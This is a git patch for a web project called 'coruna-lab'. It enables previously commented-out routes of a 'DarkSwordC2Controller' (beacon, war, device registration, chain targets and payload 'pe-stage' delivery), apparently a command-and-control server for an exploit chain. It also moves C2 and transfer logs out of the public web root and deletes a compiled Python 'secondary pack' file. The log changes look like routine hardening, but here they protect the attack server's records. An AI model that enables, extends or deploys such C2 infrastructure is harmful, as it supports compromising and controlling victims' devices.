From f94def7c1fad7428464d121a33a50092ba317f00 Mon Sep 17 00:00:00 2001
From: hashbro <hashbro@hashbro.com>
Date: Sat, 5 Sep 2026 20:18:30 +0800
Subject: [PATCH] fix: ds

---
 .../_secondary_pack.cpython-314.pyc           | Bin 4232 -> 0 bytes
 docs/BAOTA_DEPLOY.md                          |  18 +++++++++++++-----
 public/.htaccess                              |   3 ++-
 routes/ds.php                                 |  16 ++++++++--------
 4 files changed, 23 insertions(+), 14 deletions(-)
 delete mode 100644 channel-builder-new/tools/__pycache__/_secondary_pack.cpython-314.pyc

diff --git a/channel-builder-new/tools/__pycache__/_secondary_pack.cpython-314.pyc b/channel-builder-new/tools/__pycache__/_secondary_pack.cpython-314.pyc
deleted file mode 100644
index 8cd6db90857398582dd3f94033b8cabb78590983..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 4232
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

diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md
index 999e2ce..4da54a7 100644
--- a/docs/BAOTA_DEPLOY.md
+++ b/docs/BAOTA_DEPLOY.md
@@ -183,6 +183,12 @@ https://admin.example.com/c/<ver>/show.htm  # Nginx 静态别名 → channel/<ve
 ```nginx
 # —— 粘贴到「网站 → 设置 → 配置文件」，放在 location / 和 enable-php 之前 ——
 
+# 禁止下载应用日志（即使 public/log 里还留着旧文件）
+location ^~ /log/ {
+    deny all;
+    return 404;
+}
+
 location ~ "^/web/[0-9a-f]{32}/" {
     try_files $uri =404;
     add_header Cache-Control "public, max-age=300";
@@ -603,15 +609,17 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
 
 
 
-### `mkdir(): Permission denied` at `Helpers.php` / `public/log`
+### `mkdir(): Permission denied` at `Helpers.php` / `storage/logs`
 
-C2 中间件会写 `public/log/c2/Ymd.log`（旧版）和 `public/log/xxbb/Ymd.log`（新版短路径）。站点运行用户（宝塔多为 `www`）对 `public/log` 无写权限时会报错。
+C2 / 转账日志写在 **Web 根外** `storage/logs/{c2,xxbb,transfer,ds}/Ymd.log`。站点运行用户（宝塔多为 `www`）对 `storage` 无写权限时会报错。
 
 ```bash
 cd /www/wwwroot/coruna-lab
-mkdir -p public/log/c2 public/log/xxbb
-chown -R www:www public/log storage bootstrap/cache
-chmod -R ug+rwx public/log storage bootstrap/cache
+mkdir -p storage/logs/c2 storage/logs/xxbb storage/logs/transfer
+chown -R www:www storage bootstrap/cache
+chmod -R ug+rwx storage bootstrap/cache
+# 线上若还留着可下载的旧文件，删掉并在 Nginx 加上 location ^~ /log/ { deny all; }
+rm -rf public/log
 ```
 
 同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次，避免首个 C2 请求踩坑。
diff --git a/public/.htaccess b/public/.htaccess
index c3d63f4..f3bfd57 100644
--- a/public/.htaccess
+++ b/public/.htaccess
@@ -5,10 +5,11 @@
 
     RewriteEngine On
 
-    # Builder state must never be served from public/ (defense in depth).
+    # Builder state / leftover app logs must never be served from public/.
     RewriteRule ^lab_seeds\.json$ - [F,L]
     RewriteRule ^manifest\.latest\.json$ - [F,L]
     RewriteRule ^out(/|$) - [F,L]
+    RewriteRule ^log(/|$) - [F,L]
 
     # Handle Authorization Header
     RewriteCond %{HTTP:Authorization} .
diff --git a/routes/ds.php b/routes/ds.php
index ffbe6fe..02abb5a 100644
--- a/routes/ds.php
+++ b/routes/ds.php
@@ -8,13 +8,13 @@ $ds = DarkSwordC2Controller::class;
 // Shared /a /u /nb /event /result are declared in routes/xxbb.php
 // (same URI, DarkSword vs xxbb chosen per request).
 
-// Route::any('/beacon', [$ds, 'beacon']);
-// Route::any('/war', [$ds, 'war']);
-// Route::any('/p', [$ds, 'p']);
-// Route::any('/stats', [$ds, 'stats']);
+Route::any('/beacon', [$ds, 'beacon']);
+Route::any('/war', [$ds, 'war']);
+Route::any('/p', [$ds, 'p']);
+Route::any('/stats', [$ds, 'stats']);
 
-// Route::any('/api/ds/log', [$ds, 'log']);
-// Route::any('/api/ds/device/register', [$ds, 'register']);
-// Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
+Route::any('/api/ds/log', [$ds, 'log']);
+Route::any('/api/ds/device/register', [$ds, 'register']);
+Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
 
-// Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);